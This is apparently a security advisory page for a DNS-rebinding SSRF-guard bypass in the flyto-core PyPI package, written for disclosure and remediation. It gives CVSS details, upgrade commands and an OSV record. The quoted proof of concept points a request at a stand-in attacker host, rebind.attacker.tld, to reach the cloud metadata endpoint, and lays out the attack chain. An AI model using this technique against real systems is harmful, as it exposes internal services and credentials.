CVE-2026-77313: Flyto2 Core SSRF Guard Validates The Resolved Vulnerability

HIGH
Advisory Identifier: GHSA-pfg2-w999-497v
CVSS 7.1
CWE-367 CWE-918
Published
Advisory Summary

CVE-2026-77313 is a HIGH (CVSS 7.1) ssrf guard validates the resolved vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting Flyto2 Core libraries in the PyPI ecosystem. The issue involves ssrf guard validates the resolved ip but connects by hostname, allowing dns-rebinding toctou. Remediation is available by upgrading affected packages to version 2.26.8.

CVE-2026-77313 at a Glance

CVE Identifier CVE-2026-77313
GHSA Identifier GHSA-pfg2-w999-497v
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product Flyto2 Core
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-77313

To remediate this vulnerability, upgrade all affected Flyto2 Core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flyto-core fixed: 2.26.8
pip install flyto-core>=2.26.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show flyto-core

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-77313, inspect your installed packages using pip:

pip show flyto-core

Analyze the terminal output to locate any version of Flyto2 Core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.26.8), your application is affected.

Note: The pip show flyto-core command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In Flyto2 Core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `validate_url_ssrf` resolves the hostname, checks the IP against private ranges, then **discards the IP and returns the hostname URL string**. aiohttp performs a fresh, independent DNS resolution at connect time. An attacker controlling DNS for a hostname (TTL 0, alternating public IP and internal IP) passes validation on the first lookup and connects to the internal IP on the second — a classic check-then-use race. SECURITY_SSRF.md line 63 explicitly claims DNS-rebinding is prevented; it is not. ## Root Cause `src/core/utils.py:523` returns the hostname URL after validation; the resolved IP is never pinned. A repo grep of `http/` and `utils.py` for `TCPConnector` / `resolver` / `response.history` / `on_request_redirect` / IP-pinning returns NONE. Each module builds a fresh `ClientSession` per call → the connect-time `getaddrinfo` is independent of the validation-time lookup. ## Impact Defeats the SSRF guard on ALL modules that call it (readable internal fetch). Independent of IP-range completeness — the private IP is never presented to `is_private_ip`. Requires attacker DNS control + winning the resolution race → AC:H. ## Proof of Concept Code-proven: `validate_url_ssrf` returns the hostname (utils.py:523); no pinned-IP connector anywhere. Two independent resolutions occur (validation-time and aiohttp connect-time). ``` attacker DNS: rebind.attacker.tld TTL 0, alternating public IP and the cloud metadata IP execute_module http.get {"url":"http://rebind.attacker.tld/latest/meta-data/..."} ``` ## Attack Chain 1. Entry: `http.get {url:"http://rebind.attacker.tld/..."}`. Guard: `validate_url_with_env_config`. Bypass proof: `getaddrinfo(rebind.attacker.tld)` returns the public IP, `is_private_ip=False` (utils.py:511-519); returns the hostname URL (:523) — the IP is discarded. 2. Sink: `session.get("http://rebind.attacker.tld/...")` (get.py:116). aiohttp performs a FRESH independent `getaddrinfo` at connect → now resolves to the internal IP. Bypass proof: no `TCPConnector`/`AsyncResolver`/pinned-IP in `http/` (grep confirms none). Two lookups. 3. Impact: internal fetch, body returned. ## Bypass Evidence `utils.py:523` returns the hostname string, not a pinned IP; grep confirms no IP pinning or custom resolver anywhere on the path; fresh `ClientSession` per call guarantees an independent second resolution. ## Affected Versions `<= 2.26.6` — `utils.py:523` present on latest release tag; no pinning added on HEAD. ## Suggested Fix Resolve the hostname once, pin the validated IP, and connect to that IP (custom `TCPConnector`/resolver) — reject any connect-time resolution that differs. This is the fix SECURITY_SSRF.md already claims is in place. ## Credit Vulnerability discovered by zx (Jace).

CVE-2026-77313 Affected Flyto2 Core Versions

1 component(s)
Fixed Versions:
2.26.8
Product / Package Ecosystem Affected Versions Fixed Version
flyto-core
PyPI
< 2.26.8
2.26.8

References

Frequently Asked Questions

What is CVE-2026-77313?
CVE-2026-77313 is a security vulnerability in Flyto2 Core involving SSRF guard validates the resolved IP but connects by hostname, allowing DNS-rebinding TOCTOU under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which Flyto2 Core versions are affected?
Affected versions include releases prior to 2.26.8 across affected packages: flyto-core.
What version fixes CVE-2026-77313?
Upgrading to 2.26.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flyto-core affected?
Yes, flyto-core is affected in releases prior to 2.26.8. Upgrade your dependency to 2.26.8 or later.
What is the CVSS score of CVE-2026-77313?
CVE-2026-77313 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-77313?
CVE-2026-77313 is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check PyPI dependencies for CVE-2026-77313?
Run the dependency tree command: 'pip show flyto-core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pfg2-w999-497v",
  "modified" : "2026-11-20T00:09:23Z",
  "published" : "2026-11-20T00:09:23Z",
  "aliases" : [ "CVE-2026-77313" ],
  "summary" : "Flyto2 Core: SSRF guard validates the resolved IP but connects by hostname, allowing DNS-rebinding TOCTOU",
  "details" : "## Summary\n`validate_url_ssrf` resolves the hostname, checks the IP against private ranges, then **discards the IP and returns the hostname URL string**. aiohttp performs a fresh, independent DNS resolution at connect time. An attacker controlling DNS for a hostname (TTL 0, alternating public IP and internal IP) passes validation on the first lookup and connects to the internal IP on the second — a classic check-then-use race. SECURITY_SSRF.md line 63 explicitly claims DNS-rebinding is prevented; it is not.\n\n## Root Cause\n`src/core/utils.py:523` returns the hostname URL after validation; the resolved IP is never pinned. A repo grep of `http/` and `utils.py` for `TCPConnector` / `resolver` / `response.history` / `on_request_redirect` / IP-pinning returns NONE. Each module builds a fresh `ClientSession` per call → the connect-time `getaddrinfo` is independent of the validation-time lookup.\n\n## Impact\nDefeats the SSRF guard on ALL modules that call it (readable internal fetch). Independent of IP-range completeness — the private IP is never presented to `is_private_ip`. Requires attacker DNS control + winning the resolution race → AC:H.\n\n## Proof of Concept\nCode-proven: `validate_url_ssrf` returns the hostname (utils.py:523); no pinned-IP connector anywhere. Two independent resolutions occur (validation-time and aiohttp connect-time).\n```\nattacker DNS: rebind.attacker.tld TTL 0, alternating public IP and the cloud metadata IP\nexecute_module http.get {\"url\":\"http://rebind.attacker.tld/latest/meta-data/...\"}\n```\n\n## Attack Chain\n1. Entry: `http.get {url:\"http://rebind.attacker.tld/...\"}`. Guard: `validate_url_with_env_config`. Bypass proof: `getaddrinfo(rebind.attacker.tld)` returns the public IP, `is_private_ip=False` (utils.py:511-519); returns the hostname URL (:523) — the IP is discarded.\n2. Sink: `session.get(\"http://rebind.attacker.tld/...\")` (get.py:116). aiohttp performs a FRESH independent `getaddrinfo` at connect → now resolves to the internal IP. Bypass proof: no `TCPConnector`/`AsyncResolver`/pinned-IP in `http/` (grep confirms none). Two lookups.\n3. Impact: internal fetch, body returned.\n\n## Bypass Evidence\n`utils.py:523` returns the hostname string, not a pinned IP; grep confirms no IP pinning or custom resolver anywhere on the path; fresh `ClientSession` per call guarantees an independent second resolution.\n\n## Affected Versions\n`<= 2.26.6` — `utils.py:523` present on latest release tag; no pinning added on HEAD.\n\n## Suggested Fix\nResolve the hostname once, pin the validated IP, and connect to that IP (custom `TCPConnector`/resolver) — reject any connect-time resolution that differs. This is the fix SECURITY_SSRF.md already claims is in place.\n\n## Credit\n\nVulnerability discovered by zx (Jace).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "flyto-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.26.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.26.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/flytohub/flyto-core/security/advisories/GHSA-pfg2-w999-497v"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/flytohub/flyto-core/commit/bf748df864d348004cf45d830bc59f62c5c4a58a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/flytohub/flyto-core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/flytohub/flyto-core/releases/tag/v2.26.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-20T00:09:23Z",
    "nvd_published_at" : null
  }
}